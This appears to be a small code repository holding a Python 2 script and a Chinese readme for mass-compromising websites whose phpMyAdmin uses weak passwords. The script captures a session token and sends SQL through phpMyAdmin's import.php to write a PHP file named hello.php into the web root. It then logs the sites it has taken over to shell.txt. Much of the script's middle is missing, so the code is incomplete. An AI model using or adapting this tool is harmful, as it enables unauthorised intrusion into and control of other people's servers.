├── phpExp.py └── readme.txt /phpExp.py: -------------------------------------------------------------------------------- 1 | # coding=utf-8 2 | import urllib2 3 | import string 4 | import urllib 5 | import re 6 | import cookielib 7 | import sys 8 | import socket 9 | 10 | def get_res_list_and_next_page_url(target_url): 11 | res = urllib2.urlopen(target_url) 12 | html=res.read() 13 | content = unicode(html, 'utf-8','ignore') 14 | pattern = re.compile(r'
phpMyAdmin is more friendly with a') 87 | judge = pattern.search(a) 88 | if judge != None: 89 | token_find = re.compile(r"token = '(.*?)';") 90 | token_group = token_find.search(a) 91 | token = token_group.group(1) 92 | 93 | f_u=file("url_OK.txt","a+") 94 | f_u.write(url) 95 | f_u.write("\r\n") 96 | f_u.close() 97 | 98 | if path: 99 | path = path+'/hello.php' 100 | sql = ["Drop TABLE IF EXISTS xbclub;","Create TABLE xbclub(cmd text NOT NULL);","Insert INTO xbclub (cmd) VALUES('');","Select cmd from xbclub into outfile '"+path+"';","Drop TABLE IF EXISTS xbclub;"] 101 | exp_headers = {'User-Agent':'Mozilla/5.0 (Windows NT 6.1; WOW64)'} 102 | success_num = 0 103 | for sql_cmd in sql: 104 | exp = urllib.urlencode({'is_js_confirmed':'1', 'db':'test', 'token':token, 'sql_query':sql_cmd,'ajax_request':'true'}) 105 | exp_request = urllib2.Request("http://"+url+"phpmyadmin/import.php", exp, exp_headers) 106 | try: 107 | exp_response = opener.open(exp_request) 108 | except: 109 | print "Something is wrong!" 110 | continue 111 | 112 | try: 113 | f_g=file("shell_might.txt","a+") 114 | f_g.write(url) 115 | f_g.write("\r\n") 116 | f_g.close() 117 | res = urllib2.urlopen('http://'+url+'hello.php') 118 | except urllib2.HTTPError,e: 119 | if e.code==404: 120 | print "write Eror!" 121 | continue 122 | f=file("shell.txt","a+") 123 | f.write(url+'hello.php') 124 | f.write("\r\n") 125 | f.close() 126 | -------------------------------------------------------------------------------- /readme.txt: -------------------------------------------------------------------------------- 1 | 利用PHP探针批量查找phpmyadmin若密码的网站并自动化上传一句话 2 | --------------------------------------------------------------------------------